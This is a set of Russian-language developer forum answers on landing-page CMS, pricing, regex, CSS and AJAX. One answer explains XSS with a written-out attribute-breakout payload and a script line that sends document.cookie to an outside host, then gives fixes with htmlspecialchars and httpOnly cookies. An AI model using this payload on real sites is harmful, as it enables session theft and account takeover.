• Что использовать в качестве админки для лендинга?

    agmegadeth
    @agmegadeth
    Веб-разработчик в дизайн студии
    Для лендосов как раз юзаю GetSimple. Ибо:
    1) без бд - установка, клонирование и бекап делается копипастом файлов.
    2) Довольно удобная система разметки блоков для редактирования юзером (theme components вроде называется). Она позволяет любой участок шаблона вынести в отдельный компонент и назвать его. Так выношу заголовки и тексты в эти компоненты. Неопытным юзерам проще в нужном компоненте поменять текст, чем лезть в полную верстку.
    3) интеграция верстки - 10 минут времени.

    Считаю излишним юзать cms типа wp для лендов.
    Ответ написан
    Комментировать
  • Сколько в среднем стоит верстка landing page?

    agmegadeth
    @agmegadeth
    Веб-разработчик в дизайн студии
    Да, такие лендинги действительно не сложные в плане верстки. Работы часа 4 на верстку. Но надо понимать, что клиент захочет сюда:
    1) метрики, аналитики, цели, конверсии считать, да чтоб по каждой форме отдельно
    2) а потом "еще всплывашечку заказать звонок уж запили мне и да цели по ней тоже отдельно считаться должны, ну и в подвал такую же кнопочку с отдельной целью"
    3) "а как мне текст тут поменять самому? а картинки? ЧТО В КОД ЛЕЗТЬ? ПО ФТП КАРТИНКУ ЗАЛИВАТЬ? админки нет что-ли никакой?"
    4) "У меня тут директ с утм метками - надо чтоб загловки и картинки менялись в зависмсоти от рекламы."

    Так и складывается, что верстка тыщи 3, и остальное еще столько же,а то и больше.
    Ответ написан
    3 комментария
  • Как правильно составить шаблон регулярного выражения?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Например, так:
    ^https://vk.com/[a-z0-9]+(?:_[a-z0-9]+)*(?:\.[a-z0-9]+(?:_[a-z0-9]+)*)?$

    А на длину лучше проверять через strlen()
    Ответ написан
    2 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как это сверстать?

    rockon404
    @rockon404
    Frontend Developer
    <div css="header-image" style="background-image: url('/pathToImage')"></div>


    .header-image {
      background-size: cover;
      background-repeat: no-repeat;
      background-position: center;
      padding-bottom: 40%;
    }


    Демо.
    Ответ написан
    Комментировать
  • Простой визивиг?

    kgnk
    @kgnk
    Разрабатываю сайты, рисую интерфейсы
    2 комментария
  • Можно ли ставить сессию при запросе AJAX?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега PHP
    С точки зрения сервера никакой разницы между вбиванием адреса руками пользователя в строку браузера и ajax-запросом нет.
    Ответ написан
    Комментировать
  • Можно ли ставить сессию при запросе AJAX?

    Rema1ns
    @Rema1ns
    и так сойдет
    можно
    Ответ написан
    Комментировать
  • Как можно реализовать скачивание нескольких файлов с сайта?

    fornit1917
    @fornit1917
    В виде архива
    Ответ написан
    Комментировать
  • Как показать другую страницу по User-Agent?

    GTRxShock
    @GTRxShock
    Full-stack developer (Symfony, Angular)
    Ответ написан
    Комментировать
  • Как показать другую страницу по User-Agent?

    @Camaro67
    Помог? - "Отметить решением"
    Ответ написан
    Комментировать
  • Как удалить неограниченное число дочерних элементов с помощью JQuery?

    rim89
    @rim89
    программист-велосипедист
    Сохранить img в переменную , создать новый элемент с нужной вложенность после старого, удалить старый полностью
    Ответ написан
    1 комментарий